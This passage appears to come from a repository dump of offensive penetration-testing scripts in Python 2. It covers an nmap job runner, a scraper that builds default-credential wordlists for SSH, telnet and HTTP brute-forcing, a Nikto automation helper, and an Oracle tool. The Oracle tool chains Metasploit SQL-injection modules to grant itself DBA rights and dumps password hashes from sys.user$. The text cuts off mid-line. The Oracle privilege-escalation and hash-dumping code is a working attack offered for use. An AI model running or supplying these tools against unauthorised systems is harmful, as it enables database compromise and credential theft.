| options = parser.parse_args() 176 | if options.f: 177 | filename = options.f 178 | 179 | generateCommands() 180 | 181 | import time #Code to measure time 182 | starttime = time.time() #Code to measure time 183 | 184 | 185 | jobs = [] #List of jobs strings to execute 186 | jobid = 0#Ordering of results in the results list returned 187 | 188 | #Code to generate my job strings. Generate your own, or load joblist into the jobs[] list from a text file 189 | lagFactor = 5 190 | for i in scanTCPList: 191 | cmd = i[1] 192 | #cmd = "nmap -Pn -T4 -sT -n -sV -A -v --open --script default -p 443,8009 58.215.166.36" 193 | ctr = 0 194 | fullCmd = cmd #Linux command to execute 195 | jobs.append((jobid,fullCmd)) # Append to joblist 196 | jobid = jobid+1 197 | for i in scanUDPList: 198 | cmd = i[1] 199 | #cmd = "nmap -Pn -T4 -sT -n -sV -A -v --open --script default -p 443,8009 58.215.166.36" 200 | ctr = 0 201 | fullCmd = cmd #Linux command to execute 202 | jobs.append((jobid,fullCmd)) # Append to joblist 203 | jobid = jobid+1 204 | # run 205 | numProcesses = 10 206 | results = execute(jobs,numProcesses) #job list and number of worker processes 207 | 208 | #Code to print out results as needed by me. Change this to suit your own need 209 | # dump results 210 | ctr = 0 211 | for r in results: 212 | (jobid, cmdop) = r 213 | #if jobid % lagFactor == 0: 214 | # print 215 | # print jobid/lagFactor, 216 | #print '\t', 217 | #try: 218 | #print cmdop 219 | extractPorts(cmdop) 220 | #print cmdop.split()[10], 221 | #except: 222 | # print "Err", 223 | ctr = ctr+1 224 | print 225 | 226 | file1 = open("results_sorted.txt", "w") 227 | results1 = "\n***** HTTP/HTTPs Servers *****" 228 | print results1 229 | file1.write(results1+"\n") 230 | for host in httpList: 231 | if "ssl/http" in str(host): 232 | results1 = "https://"+host[0]+":"+host[1] 233 | print results1 234 | file1.write(results1+"\n") 235 | if " http " in str(host): 236 | results1 = "http://"+host[0]+":"+host[1] 237 | print results1 238 | file1.write(results1+"\n") 239 | results1 = "\n***** SSL Servers *****" 240 | print results1 241 | file1.write(results1+"\n") 242 | for host in sslList: 243 | results1 = host[0]+":"+host[1] 244 | print results1 245 | file1.write(results1+"\n") 246 | results1 = "\n***** SNMP Servers *****" 247 | print results1 248 | file1.write(results1+"\n") 249 | for host in snmpList: 250 | results1 = host[0]+":"+host[1] 251 | print results1 252 | file1.write(results1+"\n") 253 | results1 = "\n***** SSH Servers *****" 254 | print results1 255 | file1.write(results1+"\n") 256 | for host in sshList: 257 | results1 = host[0]+":"+host[1] 258 | print results1 259 | file1.write(results1+"\n") 260 | file1.close() 261 | print "Time taken = %f" %(time.time()-starttime) #Code to measure time 262 | -------------------------------------------------------------------------------- /default_accounts_wordlist/getDefaultAccounts,py: -------------------------------------------------------------------------------- 1 | # -*- encoding:utf-8 -*- 2 | import urllib2 3 | from BeautifulSoup import BeautifulSoup as bs 4 | import re 5 | import sys 6 | import urllib 7 | import urlparse 8 | from multiprocessing import Process, Pool 9 | 10 | urlList=[] 11 | sshList = [] 12 | telnetList = [] 13 | httpList = [] 14 | userList = [] 15 | passwordList = [] 16 | 17 | def http_get(url): 18 | print url 19 | result = {"url": url, "data": urllib2.urlopen(url, timeout=10).read()} 20 | #result = {"url": url, "data": urllib2.urlopen(url, timeout=5).read()[:100]} 21 | return result 22 | 23 | class MyOpener(urllib.FancyURLopener): 24 | version = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15' 25 | 26 | def process(url): 27 | myopener = MyOpener() 28 | #page = urllib.urlopen(url) 29 | page = myopener.open(url) 30 | 31 | text = page.read() 32 | page.close() 33 | 34 | soup = bs(text) 35 | for tag in soup.findAll('a', href=True): 36 | tag['href'] = urlparse.urljoin(url, tag['href']) 37 | if "passwords?vendor" in tag['href']: 38 | global urlList 39 | urlList.append(tag['href']) 40 | #print tag['href'] 41 | #return links 42 | process("http://www.cirt.net/passwords") 43 | 44 | sshfile = open("wordList_ssh.txt", "w") 45 | telnetfile = open("wordList_telnet.txt", "w") 46 | httpfile = open("wordList_http.txt", "w") 47 | 48 | usersfile = open("users.txt", "w") 49 | passwordsfile = open("passwords.txt", "w") 50 | 51 | pool = Pool(processes=10) 52 | print "[*] Getting page contents" 53 | results = pool.map(http_get, urlList) 54 | 55 | print "[*] Parsing page contents" 56 | for result in results: 57 | html = result['data'] 58 | soup = bs(html) 59 | tables = soup.findAll("table") 60 | for table in tables: 61 | if table.findParent("table") is None: 62 | found=False 63 | found2=False 64 | found3=False 65 | if "method" in str(table).lower(): 66 | found=True 67 | results = str(table).split("") 68 | username = "" 69 | password = "" 70 | for result in results: 71 | if "method" in result.lower(): 72 | if "ssh" in result.lower(): 73 | found2=True 74 | if "telnet" in result.lower(): 75 | found3=True 76 | else: 77 | #For SSH Passwords 78 | if found2==True: 79 | if "user" in result.lower(): 80 | soup = bs(result) 81 | p_tags = soup.findAll('td',text=True) 82 | for i, p_tag in enumerate(p_tags): 83 | if i==1: 84 | username = p_tag 85 | #print p_tag 86 | if "password" in result.lower(): 87 | soup = bs(result) 88 | p_tags = soup.findAll('td',text=True) 89 | match=False 90 | for i, p_tag in enumerate(p_tags): 91 | if i==0: 92 | if p_tag.lower()=="password": 93 | match=True 94 | if i==1: 95 | #print p_tag 96 | if match==True: 97 | password = p_tag 98 | #print ":"+p_tag 99 | if str(username)!="(none)" and str(username)!="(blank)" and len(username)>0 : 100 | if str(password)!="(none)" and str(password)!="(blank)": 101 | tmpStr = ":"+str(username)+":"+str(password) 102 | if tmpStr not in sshList: 103 | sshList.append(tmpStr) 104 | sshfile.write(tmpStr+"\n") 105 | usersfile.write(str(username)+"\n") 106 | passwordsfile.write(str(password)+"\n") 107 | #For Telnet Passwords 108 | if found3==True: 109 | if "user" in result.lower(): 110 | soup = bs(result) 111 | p_tags = soup.findAll('td',text=True) 112 | for i, p_tag in enumerate(p_tags): 113 | if i==1: 114 | username = p_tag 115 | #print p_tag 116 | if "password" in result.lower(): 117 | soup = bs(result) 118 | p_tags = soup.findAll('td',text=True) 119 | match=False 120 | for i, p_tag in enumerate(p_tags): 121 | if i==0: 122 | if p_tag.lower()=="password": 123 | match=True 124 | if i==1: 125 | #print p_tag 126 | if match==True: 127 | password = p_tag 128 | #print ":"+p_tag 129 | if str(username)!="(none)" and str(username)!="(blank)" and len(username)>0: 130 | if str(password)=="(none)" or str(password)=="(blank)": 131 | password = "" 132 | tmpStr = ":"+str(username)+":"+str(password) 133 | if tmpStr not in telnetList: 134 | telnetList.append(tmpStr) 135 | telnetfile.write(tmpStr+"\n") 136 | if username not in userList: 137 | userList.append(str(username)) 138 | usersfile.write(str(username)+"\n") 139 | if len(password)>0: 140 | if password not in passwordList: 141 | passwordList.append(password) 142 | passwordsfile.write(str(password)+"\n") 143 | 144 | else: 145 | #Fixed 146 | found=True 147 | results = str(table).split("") 148 | username = "" 149 | password = "" 150 | for result in results: 151 | #print str(result) 152 | if "user" in result.lower(): 153 | soup = bs(result) 154 | p_tags = soup.findAll('td',text=True) 155 | for i, p_tag in enumerate(p_tags): 156 | if i==1: 157 | username = p_tag 158 | #print p_tag 159 | if "password" in result.lower(): 160 | soup = bs(result) 161 | p_tags = soup.findAll('td',text=True) 162 | match=False 163 | for i, p_tag in enumerate(p_tags): 164 | if i==0: 165 | if p_tag.lower()=="password": 166 | match=True 167 | if i==1: 168 | #print p_tag 169 | if match==True: 170 | password = p_tag 171 | #print ":"+p_tag 172 | if str(username)!="(none)" and str(username)!="(blank)" and len(username)>0: 173 | if str(password)!="(none)" and str(password)!="(blank)": 174 | tmpStr = ":"+str(username)+":"+str(password) 175 | if tmpStr not in sshList: 176 | sshList.append(tmpStr) 177 | sshfile.write(tmpStr+"\n") 178 | if username not in userList: 179 | userList.append(username) 180 | usersfile.write(str(username)+"\n") 181 | if len(password)>0: 182 | if password not in passwordList: 183 | passwordList.append(password) 184 | passwordsfile.write(str(password)+"\n") 185 | elif str(password)=="(none)" or str(password)=="(blank)" or len(password)==0: 186 | password = "" 187 | tmpStr = ":"+str(username)+":"+str(password) 188 | if tmpStr not in telnetList: 189 | telnetList.append(tmpStr) 190 | telnetfile.write(tmpStr+"\n") 191 | if username not in userList: 192 | userList.append(username) 193 | usersfile.write(str(username)+"\n") 194 | sshfile.close() 195 | telnetfile.close() 196 | httpfile.close() 197 | 198 | urlList = [] 199 | for one in range(97,123): 200 | urlList.append("http://www.passwordsdatabase.com/view/"+chr(one)) 201 | 202 | telnetfile = open("wordList_telnet.txt", "a+") 203 | sshfile = open("wordList_ssh.txt", "w") 204 | httpfile = open("wordList_http.txt", "w") 205 | 206 | pool = Pool(processes=10) 207 | print "[*] Getting page contents" 208 | results = pool.map(http_get, urlList) 209 | 210 | print "[*] Parsing page contents" 211 | for result in results: 212 | html = result['data'] 213 | soup = bs(html) 214 | tables = soup.findAll("td",{"class":"gen_pad"}) 215 | for table in tables: 216 | if "method" in str(table).lower(): 217 | found=False 218 | found1=False 219 | found2=False 220 | found3=False 221 | results = str(table).split("

") 222 | for result in results: 223 | if "method" in result.lower(): 224 | if "telnet" in result.lower(): 225 | #print result.strip() 226 | found=True 227 | if "ssh" in result.lower(): 228 | found1=True 229 | if "multi" in result.lower(): 230 | found2=True 231 | if "http" in result.lower(): 232 | found3=True 233 | 234 | result = results[4].strip() 235 | soup = bs(result) 236 | p_tags = soup.findAll('td',text=True) 237 | try: 238 | username = p_tags[1] 239 | except IndexError: 240 | username = "" 241 | 242 | result = results[5].strip() 243 | soup = bs(result) 244 | p_tags = soup.findAll('td',text=True) 245 | try: 246 | password = p_tags[1] 247 | except IndexError: 248 | password = "" 249 | 250 | tmpStr = ":"+str(username)+":"+str(password) 251 | 252 | if found==True: 253 | if tmpStr not in telnetList: 254 | telnetList.append(tmpStr) 255 | telnetfile.write(tmpStr+"\n") 256 | found=False 257 | if found1==True: 258 | print tmpStr 259 | if tmpStr not in sshList: 260 | print tmpStr 261 | sshList.append(tmpStr) 262 | sshfile.write(tmpStr+"\n") 263 | found1=False 264 | if found2==True: 265 | if tmpStr not in telnetList: 266 | telnetList.append(tmpStr) 267 | telnetfile.write(tmpStr+"\n") 268 | found2=False 269 | if tmpStr not in sshList: 270 | sshList.append(tmpStr) 271 | sshfile.write(tmpStr+"\n") 272 | found2=False 273 | if tmpStr not in httpList: 274 | httpList.append(tmpStr) 275 | httpfile.write(tmpStr+"\n") 276 | found2=False 277 | if found3==True: 278 | if tmpStr not in httpList: 279 | httpList.append(tmpStr) 280 | httpfile.write(tmpStr+"\n") 281 | found3=False 282 | 283 | telnetfile.close() 284 | sshfile.close() 285 | httpfile.close() 286 | 287 | tempList = [] 288 | with open("wordList_telnet.txt") as f: 289 | for line in f: 290 | if line not in tempList: 291 | tempList.append(line) 292 | f=open("wordList_telnet.txt","w") 293 | for line in tempList: 294 | f.write(line) 295 | f.close() 296 | 297 | tempList = [] 298 | with open("wordList_ssh.txt") as f: 299 | for line in f: 300 | if line not in tempList: 301 | tempList.append(line) 302 | f=open("wordList_ssh.txt","w") 303 | for line in tempList: 304 | f.write(line) 305 | f.close() 306 | 307 | print "[*] Please check directory for wordList_ssh.txt, wordList_telnet.txt, wordList_http.txt, users.txt and passwords.txt" 308 | 309 | -------------------------------------------------------------------------------- /niktohelper/niktohelper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re,sys,os,subprocess,shlex,Queue 3 | from threading import Thread 4 | import urllib2, socket,sys,base64,ssl 5 | from xml.dom.minidom import parse, parseString 6 | 7 | niktoPath = "/pentest/nikto-2.1.5/nikto.pl" 8 | #Bing Search API Account Key 9 | account_key = "" 10 | runBing = True 11 | 12 | #CA certs http://curl.haxx.se/ca/cacert.pem 13 | 14 | class Consumer(Thread): 15 | def __init__(self, queue=None): 16 | super(Consumer, self).__init__() 17 | self.daemon = True 18 | self.queue = queue 19 | def run(self): 20 | while True: 21 | cmd = self.queue.get() 22 | args = shlex.split(cmd) 23 | p = subprocess.Popen(args,stdout=subprocess.PIPE) 24 | retcode = p.wait() 25 | #p.communicate() 26 | self.queue.task_done() 27 | 28 | def isOpen(ip,port): 29 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | try: 31 | s.connect((ip,int(port))) 32 | s.shutdown(2) 33 | return True 34 | except: 35 | return False 36 | 37 | def getSSLCommonName(HOST,PORT): 38 | try: 39 | HOST = socket.getaddrinfo(HOST, PORT)[0][4][0] 40 | sock = socket.socket() 41 | sock.connect((HOST, PORT)) 42 | sock = ssl.wrap_socket(sock, 43 | #cert_reqs=ssl.CERT_REQUIRED, 44 | cert_reqs=ssl.CERT_OPTIONAL, 45 | #cert_reqs=ssl.CERT_NOT_REQUIRED, 46 | ca_certs="cacert.pem" 47 | ) 48 | cert = sock.getpeercert() 49 | for field in cert['subject']: 50 | if field[0][0] == 'commonName': 51 | certhost = field[0][1] 52 | return certhost 53 | except ssl.SSLError: 54 | return "" 55 | 56 | def bing(account_key,ip): 57 | if(isinstance(ip,list)): 58 | for count in ip: 59 | count = count.strip() 60 | sites = [] 61 | skip = 0 62 | top = 50 63 | while skip < 200: 64 | url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"% (count,top,skip) 65 | request = urllib2.Request(url) 66 | auth = base64.encodestring("%s:%s" % (account_key, account_key)).replace("\n", "") 67 | request.add_header("Authorization", "Basic %s" % auth) 68 | res = urllib2.urlopen(request) 69 | data = res.read() 70 | 71 | tempDomainList = [] 72 | xmldoc = parseString(data) 73 | site_list = xmldoc.getElementsByTagName('d:Url') 74 | for site in site_list: 75 | domain = site.childNodes[0].nodeValue 76 | domain = domain.split("/")[2] 77 | if domain not in sites: 78 | if domain not in tempDomainList: 79 | tempDomainList.append(domain) 80 | #sites.append(domain) 81 | count = 1 82 | if len(tempDomainList)>1: 83 | for i in tempDomainList: 84 | print "("+str(count)+")\t"+i 85 | count+=1 86 | #print tempDomainList 87 | print "[*] Enter the number followed by comma E.g. 1, 4, 10" 88 | print "[*] To select all, key in 'ALL'. Leave it blank or key in 'NONE' to ignore all." 89 | listInput = raw_input() 90 | listInput = listInput.strip() 91 | listInput = listInput.lower() 92 | if len(listInput)>0: 93 | if listInput == "all" and listInput != "none": 94 | for x in tempDomainList: 95 | sites.append(x) 96 | elif listInput != "all" and listInput != "none": 97 | inputList = listInput.split(",") 98 | for x in inputList: 99 | print tempDomainList[int(x)-1] 100 | sites.append(tempDomainList[int(x)-1]) 101 | skip += 50 102 | 103 | if(len(sites)==0): 104 | if isOpen(count,443): 105 | commonName="" 106 | commonName=getSSLCommonName(count,443) 107 | if(len(commonName)>0): 108 | sites.append(commonName) 109 | return sites 110 | 111 | elif(isinstance(ip,str)): 112 | sites = [] 113 | skip = 0 114 | top = 50 115 | while skip < 200: 116 | url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"% (ip,top,skip) 117 | request = urllib2.Request(url) 118 | auth = base64.encodestring("%s:%s" % (account_key, account_key)).replace("\n", "") 119 | request.add_header("Authorization", "Basic %s" % auth) 120 | res = urllib2.urlopen(request) 121 | data = res.read() 122 | 123 | xmldoc = parseString(data) 124 | site_list = xmldoc.getElementsByTagName('d:Url') 125 | tempDomainList = [] 126 | for site in site_list: 127 | domain = site.childNodes[0].nodeValue 128 | domain = domain.split("/")[2] 129 | if domain not in sites: 130 | if domain not in tempDomainList: 131 | tempDomainList.append(domain) 132 | #sites.append(domain) 133 | count = 1 134 | if len(tempDomainList)>1: 135 | for i in tempDomainList: 136 | print "("+str(count)+")\t"+i 137 | count+=1 138 | print "[*] Enter the number followed by comma E.g. 1, 4, 10" 139 | print "[*] To select all, key in 'ALL'. Leave it blank or key in 'NONE' to ignore all." 140 | listInput = raw_input() 141 | listInput = listInput.strip() 142 | listInput = listInput.lower() 143 | if len(listInput)>0: 144 | if listInput == "all" and listInput != "none": 145 | for x in tempDomainList: 146 | sites.append(x) 147 | elif listInput != "all" and listInput != "none": 148 | inputList = listInput.split(",") 149 | for x in inputList: 150 | print tempDomainList[int(x)-1] 151 | sites.append(tempDomainList[int(x)-1]) 152 | 153 | #if len(tempDomainList)>1: 154 | # print tempDomainList 155 | skip += 50 156 | if(len(sites)==0): 157 | if isOpen(ip,443): 158 | commonName="" 159 | commonName=getSSLCommonName(ip,443) 160 | if(len(commonName)>0): 161 | sites.append(commonName) 162 | return sites 163 | 164 | def parseNmap(fname,child,displayOnly): 165 | queue = Queue.Queue() 166 | ipList = [] 167 | with open(fname) as f: 168 | count=0 169 | content = f.readlines() 170 | for i in content: 171 | count+=1 172 | if(count>2): 173 | i = i.strip() 174 | if 'http' in i: 175 | result = re.search('Host:(.*)\(\)', i) 176 | host = result.group(1).strip() 177 | if host not in ipList: 178 | ipList.append(host) 179 | #Perform a reverse DNS lookup on Bing.com 180 | sites = [] 181 | global runBing 182 | if runBing==True: 183 | try: 184 | sites = bing(account_key,host) 185 | except urllib2.HTTPError: 186 | print "[*] Please check your Bing API Key" 187 | sys.exit(0) 188 | if len(sites)>0: 189 | for site in sites: 190 | strStart = i.index('Ports: ')+7 191 | strEnd = len(i) 192 | portString = i[strStart:strEnd] 193 | portStringList = portString.split(",") 194 | for port in portStringList: 195 | portNo = port.split("/")[0].strip() 196 | if "ssl|http" in port: 197 | if "open" in port: 198 | currentDir = os.getcwd() 199 | savePath = currentDir+"/nikto-"+host+"-port"+portNo+"-"+site+".txt" 200 | cmd = "/usr/bin/perl "+niktoPath+" -vhost "+site+" -maxtime 7200 -Cgidirs all -ssl -host "+host+" -port "+portNo+" -output "+savePath 201 | print cmd 202 | queue.put(cmd) 203 | elif "http" in port: 204 | if "open" in port: 205 | currentDir = os.getcwd() 206 | savePath = currentDir+"/nikto-"+host+"-port"+portNo+"-"+site+".txt" 207 | cmd = "/usr/bin/perl "+niktoPath+" -vhost "+site+" -maxtime 7200 -Cgidirs all -host "+host+" -port "+portNo+" -output "+savePath 208 | print cmd 209 | queue.put(cmd) 210 | else: 211 | strStart = i.index('Ports: ')+7 212 | strEnd = len(i) 213 | portString = i[strStart:strEnd] 214 | portStringList = portString.split(",") 215 | for port in portStringList: 216 | currentDir = os.getcwd() 217 | portNo = port.split("/")[0].strip() 218 | savePath = currentDir+"/nikto-"+host+"-port"+portNo+".txt" 219 | if "ssl|http" in port: 220 | if "open" in port: 221 | cmd = "/usr/bin/perl "+niktoPath+" -maxtime 7200 -Cgidirs all -ssl -host "+host+" -port "+portNo+" -output "+savePath 222 | print cmd 223 | queue.put(cmd) 224 | elif "http" in port: 225 | if "open" in port: 226 | cmd = "/usr/bin/perl "+niktoPath+" -maxtime 7200 -Cgidirs all -host "+host+" -port "+portNo+" -output "+savePath 227 | print cmd 228 | queue.put(cmd) 229 | if displayOnly==False: 230 | for i in range(int(child)): 231 | consumer = Consumer(queue) 232 | consumer.start() 233 | queue.join() 234 | 235 | def options(arguments): 236 | count = 0 237 | child = 0 238 | displayOnly = False 239 | filename = "" 240 | for arg in arguments: 241 | if arg == "-child": 242 | child = arguments[count+1] 243 | if arg == "-file": 244 | filename = arguments[count+1] 245 | if arg == "-nobing": 246 | global runBing 247 | runBing = False 248 | if arg == "-display": 249 | displayOnly = True 250 | count+=1 251 | print filename 252 | parseNmap(filename,child,displayOnly) 253 | 254 | def showhelp(): 255 | print """ 256 | ##################################################### 257 | # niktoHelper.py # 258 | # Run Nikto against http/https services in .gnmap # 259 | # visit milo2012.wordpress.com # 260 | ##################################################### 261 | Usage: python niktoHelper.py [OPTIONS] 262 | 263 | [OPTIONS] 264 | 265 | -file [Nmap .gnmap File] 266 | -child [Num of Threads] 267 | -nobing [Do not run Bing reverse IP] 268 | -display[Print only to screen. Do not run Nikto] 269 | """ 270 | 271 | if __name__ == '__main__': 272 | if len(sys.argv) <= 2: 273 | showhelp() 274 | sys.exit() 275 | else: 276 | options(sys.argv) 277 | -------------------------------------------------------------------------------- /oracle_pillage/ora_priv.py: -------------------------------------------------------------------------------- 1 | import time 2 | import sys 3 | import csv 4 | import re 5 | import argparse 6 | import urllib 7 | import os.path 8 | import fileinput 9 | import subprocess 10 | import socket 11 | import os 12 | import itertools 13 | from collections import defaultdict 14 | from pprint import pprint 15 | from termcolor import colored 16 | from subprocess import call 17 | 18 | sid = "" 19 | metasploitPath = "" 20 | #metasploitPath = "/pentest/metasploit-framework/" 21 | 22 | # Made by Keith Lee 23 | # http://milo2012.wordpress.com 24 | # @keith55 25 | 26 | try: 27 | import cx_Oracle 28 | except ImportError: 29 | print "[!] Please install cx_Oracle" 30 | sys.exit() 31 | 32 | def msfPrivEscUnknown(username,password,hostname,sid): 33 | outputMsfFile = "msfresource.rc" 34 | myfile = open(outputMsfFile, "w") 35 | 36 | stmt = "setg DBUSER "+username+"\n" 37 | stmt += "setg DBPASS "+password+"\n" 38 | stmt += "setg SQL grant dba to "+username+"\n" 39 | stmt += "setg SID "+sid+"\n" 40 | stmt += "setg RHOST "+hostname+"\n" 41 | myfile.write(stmt) 42 | 43 | #Last Attempts 44 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_publish2\n") 45 | myfile.write("exploit\n") 46 | myfile.write("sleep 3\n") 47 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_publish3\n") 48 | myfile.write("exploit\n") 49 | myfile.write("sleep 3\n") 50 | myfile.write("use auxiliary/sqli/oracle/dbms_metadata_get_granted_xml\n") 51 | myfile.write("exploit\n") 52 | myfile.write("sleep 3\n") 53 | myfile.write("use auxiliary/sqli/oracle/dbms_metadata_get_xml\n") 54 | myfile.write("exploit\n") 55 | myfile.write("sleep 3\n") 56 | myfile.write("use auxiliary/sqli/oracle/dbms_metadata_open\n") 57 | myfile.write("exploit\n") 58 | myfile.write("sleep 3\n") 59 | myfile.write("use auxiliary/sqli/oracle/droptable_trigger\n") 60 | myfile.write("exploit\n") 61 | myfile.write("sleep 3\n") 62 | myfile.write("use auxiliary/sqli/oracle/lt_compressworkspace\n") 63 | myfile.write("exploit\n") 64 | myfile.write("sleep 3\n") 65 | myfile.write("use auxiliary/sqli/oracle/lt_mergeworkspace\n") 66 | myfile.write("exploit\n") 67 | myfile.write("sleep 3\n") 68 | myfile.write("use auxiliary/sqli/oracle/lt_removeworkspace\n") 69 | myfile.write("exploit\n") 70 | myfile.write("sleep 3\n") 71 | myfile.write("use auxiliary/sqli/oracle/lt_rollbackworkspace\n") 72 | myfile.write("exploit\n") 73 | myfile.write("sleep 3\n") 74 | myfile.write("exit\n") 75 | myfile.close() 76 | command = metasploitPath+"msfconsole -r "+os.getcwd()+"/msfresource.rc" 77 | print command 78 | call(command, shell=True) 79 | 80 | def msfPrivEsc(username,password,hostname,sid): 81 | #Check version before doing privilege escalation 82 | """ 83 | orcl1 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 84 | curs = orcl1.cursor() 85 | curs.execute("select * from v$version") 86 | row = curs.fetchone() 87 | curs.close() 88 | oracleVer = str(row) 89 | """ 90 | oracleVer = "10.1" 91 | 92 | outputMsfFile = "msfresource.rc" 93 | myfile = open(outputMsfFile, "w") 94 | 95 | stmt = "setg DBUSER "+username+"\n" 96 | stmt += "setg DBPASS "+password+"\n" 97 | stmt += "setg SQL grant dba to "+username+"\n" 98 | stmt += "setg SID "+sid+"\n" 99 | stmt += "setg RHOST "+hostname+"\n" 100 | 101 | myfile.write(stmt) 102 | 103 | #if "9.0" in str(row) or "10.1" in str(row) or "10.2" in str(row): 104 | if "9.0" in oracleVer: 105 | myfile.write("use auxiliary/sqli/oracle/dbms_export_extension\n") 106 | myfile.write("exploit\n") 107 | myfile.write("sleep 3\n") 108 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription\n") 109 | myfile.write("exploit\n") 110 | myfile.write("sleep 3\n") 111 | 112 | if "9.0" in oracleVer: 113 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription\n") 114 | myfile.write("exploit\n") 115 | myfile.write("sleep 3\n") 116 | 117 | if "10.1" in oracleVer: 118 | myfile.write("use auxiliary/sqli/oracle/dbms_export_extension\n") 119 | myfile.write("exploit\n") 120 | myfile.write("sleep 3\n") 121 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_ipublish\n") 122 | myfile.write("sleep 3\n") 123 | myfile.write("exploit\n") 124 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_publish\n") 125 | myfile.write("exploit\n") 126 | myfile.write("sleep 3\n") 127 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription\n") 128 | myfile.write("sleep 3\n") 129 | myfile.write("exploit\n") 130 | myfile.write("use auxiliary/sqli/oracle/lt_findricset_cursor\n") 131 | myfile.write("sleep 3\n") 132 | myfile.write("exploit\n") 133 | 134 | if "10.2" in oracleVer: 135 | myfile.write("use auxiliary/sqli/oracle/dbms_export_extension\n") 136 | myfile.write("sleep 3\n") 137 | myfile.write("exploit\n") 138 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_ipublish\n") 139 | myfile.write("sleep 3\n") 140 | myfile.write("exploit\n") 141 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_publish\n") 142 | myfile.write("sleep 3\n") 143 | myfile.write("exploit\n") 144 | myfile.write("use auxiliary/sqli/oracle/jvm_os_code_10g\n") 145 | myfile.write("sleep 3\n") 146 | myfile.write("exploit\n") 147 | 148 | if "11.0" in oracleVer: 149 | myfile.write("use auxiliary/sqli/oracle/lt_findricset_cursor\n") 150 | myfile.write("sleep 3\n") 151 | myfile.write("exploit\n") 152 | 153 | if "11.1" in oracleVer: 154 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_ipublish\n") 155 | myfile.write("sleep 3\n") 156 | myfile.write("exploit\n") 157 | myfile.write("use auxiliary/sqli/oracle/dbms_cdc_publish\n") 158 | myfile.write("sleep 3\n") 159 | myfile.write("exploit\n") 160 | myfile.write("use auxiliary/sqli/oracle/jvm_os_code_10g\n") 161 | myfile.write("sleep 3\n") 162 | myfile.write("exploit\n") 163 | myfile.write("use auxiliary/sqli/oracle/jvm_os_code_11g\n") 164 | myfile.write("sleep 3\n") 165 | myfile.write("exploit\n") 166 | myfile.write("use auxiliary/sqli/oracle/lt_findricset_cursor\n") 167 | myfile.write("sleep 3\n") 168 | myfile.write("exploit\n") 169 | 170 | if "11.2" in oracleVer: 171 | myfile.write("use auxiliary/sqli/oracle/jvm_os_code_11g\n") 172 | myfile.write("sleep 3\n") 173 | myfile.write("exploit\n") 174 | myfile.write("use auxiliary/sqli/oracle/lt_findricset_cursor\n") 175 | myfile.write("sleep 3\n") 176 | myfile.write("exploit\n") 177 | myfile.write("exit\n") 178 | myfile.close() 179 | command = metasploitPath+"msfconsole -r "+os.getcwd()+"/msfresource.rc" 180 | print command 181 | call(command, shell=True) 182 | 183 | def dumpHashes(username,password,hostname,sid): 184 | orcl = cx_Oracle.connect(username+'/'+password+'@'+hostname+':1521/'+sid) 185 | curs = orcl.cursor() 186 | curs.execute("SELECT name, password FROM sys.user$ where password is not null and name<> \'ANONYMOUS\'") 187 | test1 = curs.fetchall() 188 | print colored("\n[+] Below are the password hashes for SID: "+sid+".","red",attrs=['bold']) 189 | for i in test1: 190 | print i 191 | curs.close() 192 | 193 | def checkPermissions(username,password,hostname,sid,firstRun): 194 | try: 195 | orcl = cx_Oracle.connect(username+'/'+password+'@'+hostname+':1521/'+sid) 196 | curs = orcl.cursor() 197 | curs.execute("select * from v$database") #Get a list of all databases 198 | curs.close() 199 | print colored(str("[+] ["+sid+"]"+" Testing: "+username.strip()+"/"+password.strip()+". (Success)"),"red",attrs=['bold']) 200 | dumpHashes(username,password,hostname,sid) 201 | return True 202 | except cx_Oracle.DatabaseError as e: 203 | error, = e.args 204 | if error.code == 1017: 205 | print "[-] Testing: "+username.strip()+"/"+password.strip()+". (Fail)" 206 | sys.exit() 207 | if error.code == 942: 208 | if firstRun==True: 209 | print colored("[+] ["+sid+"]"+" Testing: "+username.strip()+"/"+password.strip()+". (Insufficient Privileges). Trying to escalate privileges.","red",attrs=['bold']) 210 | return False 211 | 212 | if __name__=="__main__": 213 | parser = argparse.ArgumentParser(description='Oracle Privilege Escalation') 214 | parser.add_argument('-host', help='IP or host name of Oracle server') 215 | parser.add_argument('-hostFile', dest='hostFile', help='File containing IP addresses of oracle servers') 216 | parser.add_argument('-u', dest='username', help='Use this username to authenticate') 217 | parser.add_argument('-p', dest='password', help='Use this password to authenticate') 218 | parser.add_argument('-sid', dest='sid', help='Use this sid') 219 | args = vars(parser.parse_args()) 220 | 221 | hostList = [] 222 | counter=0 223 | 224 | if args['host']!=None: 225 | counter+=1 226 | 227 | if args['hostFile']!=None: 228 | counter+=1 229 | 230 | if args['hostFile']!=None and args['host']==None: 231 | for line in open(args['hostFile'],'r'): 232 | hostList.append(line.strip()) 233 | 234 | if args['host']!=None and args['hostFile']==None: 235 | hostList.append(args['host']) 236 | 237 | if counter==0 or counter>1: 238 | print colored("[+] Please use either -host or -hostFile.","red",attrs=['bold']) 239 | sys.exit(0) 240 | 241 | if args['sid']!=None: 242 | sid = args['sid'] 243 | 244 | #Check if username/password is provided in the command line 245 | credCount=0 246 | 247 | if args['username']!=None: 248 | credCount+=1 249 | if args['password']!=None: 250 | credCount+=1 251 | if credCount>1 and credCount<2: 252 | print "[!] You need to provide both -u and -p." 253 | sys.exit(0) 254 | 255 | #Load hostname 256 | for hostname in hostList: 257 | if len(hostname)<1: 258 | sys.exit(0) 259 | 260 | socketAvail = False 261 | try: 262 | socket.setdefaulttimeout(2) 263 | s = socket.socket() 264 | s.connect((hostname,1521)) 265 | socketAvail=True 266 | print "[+] Connected to 